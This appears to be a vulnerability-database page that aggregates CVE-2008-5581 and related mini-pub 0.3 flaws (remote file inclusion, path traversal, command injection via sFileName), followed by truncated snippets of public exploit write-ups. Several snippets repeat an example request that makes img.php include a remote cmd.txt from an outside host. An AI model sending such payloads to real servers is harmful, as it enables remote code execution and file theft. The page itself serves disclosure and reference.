CVE-2008-5581

The entry concerns CVE-2008-5581: a PHP remote file inclusion in mini-pub 0.3, specifically in mini-pub.php/front-end/img.php, exploitable via the sFileName parameter. Root cause is improper handling of user-supplied URLs, enabling remote PHP code execution. Public exploits exist (e.g., Exploit-D...

CVE-2008-5581: Improper Input Validation

PHP remote file inclusion vulnerability in mini-pub.php/front-end/img.php in mini-pub 0.3 allows remote attackers to execute arbitrary PHP code via a URL in the sFileName parameter...

CVE-2008-5579: Improper Limitation of a Pathname to a Restricted Directory

Absolute path traversal vulnerability in mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to read arbitrary files via a full pathname in the sFileName parameter...

CVE-2008-5580: Improper Input Validation

mini-pub.php/front-end/cat.php in mini-pub 0.3 allows remote attackers to execute arbitrary commands via shell metacharacters in the sFileName argument...

mini-pub 0.3 (LFD/CE) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ===================================================== mini-pub 0.3 LFD/CE Multiple Remote Vulnerabilities ===================================================== mini-pub 0.3 multiple vulnerabilities download...

mini-pub 0.3 Local Directory Traversal / File Disclosure Vulnerabilities

Exploit for unknown platform in category web applications ======================================================================== mini-pub 0.3 Local Directory Traversal / File Disclosure Vulnerabilities ======================================================================== mini-pub.php = v0.3...

mini-pub 0.3 (LFD/CE) Multiple Remote Vulnerabilities

No description provided by source. mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local...

mini-pub 0.3 - File Disclosure Code Execution

mini-pub 0.3 - File Disclosure Code Execution mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.tx...

mini-pub 0.3 - File Disclosure / Code Execution

mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. local file disclosure http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local file disclosure...

minipub-multi.txt

mini-pub 0.3 multiple vulnerabilities download http://sourceforge.net/projects/mini-pub/ author muuratsalo contact muuratsaloatgmail.com exploits 1. remote file inclusion http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local file inclusion...